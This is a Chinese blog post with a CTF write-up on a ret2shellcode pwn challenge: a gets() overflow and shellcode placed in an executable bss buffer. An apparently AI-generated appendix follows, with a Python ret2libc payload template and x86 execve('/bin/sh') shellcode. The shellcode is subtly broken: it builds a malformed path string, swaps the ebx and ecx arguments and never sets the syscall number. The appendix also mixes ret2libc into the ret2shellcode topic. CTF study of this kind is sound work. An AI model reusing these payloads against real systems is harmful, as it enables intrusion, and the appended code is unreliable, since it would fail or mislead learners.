basic rop-ret2shellcode

本文详细介绍了一次pwn挑战的基本流程,从checksec检查开始,利用strncpy函数的可控长度特性,通过gdb调试发现bss段具备可执行权限。文章提供了控制台建立、偏移量确定及shellcode注入的具体步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

pwn——basic rop

(ret2shellcode):
老规矩,先checksec一下:

在这里插入图片描述

发现啥都没开
放入ida中:

在这里插入图片描述

查看源代码发现存在get函数,存在溢出
查找控制台,发现没有,当然题目已经告诉没有了,但是在这里我们发现了一个函数strncpy,
它的功能就是将第二个参数里的值按第三个参数大小复制到第一个参数里面,进入buf2里查看,发现buf2在bss段里:

在这里插入图片描述在这里我们通过gdb调试看这个段的一些属性,这里说明一下,bss段是ELF文件里面的一个特殊段,一般用于存放一些临时变量,所以在文件未运行是不会为其分配地址的,所以要查看bss段必须让程序运行才可以,随便下个断点,然后查看

在这里插入图片描述

在这里插入图片描述
与bss段地址(0804A080)对照发现
r - read
w - write
x - execute

具备可执行权限,所以思路有了,大致是:
1.建立控制台
2.找出偏移量
3.输入shellcraft并将返回值溢出为buf2

如何确定偏移量可参考
https://blog.youkuaiyun.com/taopaode/article/details/104766090

下面上exp:
在这里插入图片描述
这里偷懒没有计算偏移量,是一种佛系写法,大家不要学笔者
正当的写法应该是这样的:
在这里插入图片描述

### nssctf ret2shellcode 解题思路和技巧 在处理涉及 `ret2shellcode` 的漏洞利用时,核心概念在于找到可执行内存区域并成功注入 shellcode。对于 nssctf 中的此类挑战,通常需要考虑以下几个方面: #### 寻找合适的地址空间布局随机化(ASLR)绕过方法[^1] 当面对开启了 ASLR 的目标程序时,直接定位到特定位置变得困难重重。此时可以借助信息泄露漏洞来获取堆栈基址或其他重要模块加载地址;也可以寻找未受保护的服务端口或文件映射作为稳定入口。 #### 利用已知偏移量计算返回地址 如果存在某些固定不变的数据结构或者函数指针表,则可以通过静态分析确定其相对于其他部分的位置关系,在此基础上构建可靠的 ROP 链条以调整寄存器状态,并最终指向预先准备好的 shellcode 地区[^4]。 ```python from pwn import * # 假设已经找到了一个稳定的泄漏点用于绕过ASLR leak_address = ... # 泄露的具体地址值 # 计算得到 libc base 和 system 函数的实际地址 libc_base = leak_address - offset_to_libc_start_main_ret system_addr = libc_base + offset_of_system_function_in_libc payload = b'A' * buffer_size_until_return_address payload += pack(system_addr, 32) # 将 system() 放置为新的 EIP/RIP ``` #### 注入有效载荷——编写自定义 ShellCode 考虑到现代操作系统普遍启用了多种防护机制如 DEP/NX bit ,因此需特别注意选择具有 execute 权限的目标缓冲区内存页写入 payload 。此外还需确保所编写的机器码能够在不同架构下正常工作,比如 x86 vs ARM 等差异。 ```assembly section .text global _start _start: ; execve("/bin/sh", NULL, NULL); xor eax, eax ; 清零 EAX 寄存器 (对应 syscall number) push eax ; argv[0]=NULL -> stack top mov ebx, esp ; EBX=argv[] array pointer push '/sh' push '//bi' mov ecx, esp ; ECX="/bin/sh" string ptr xor edx, edx ; envp[]=NULL int 0x80 ; 执行系统调用中断请求 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值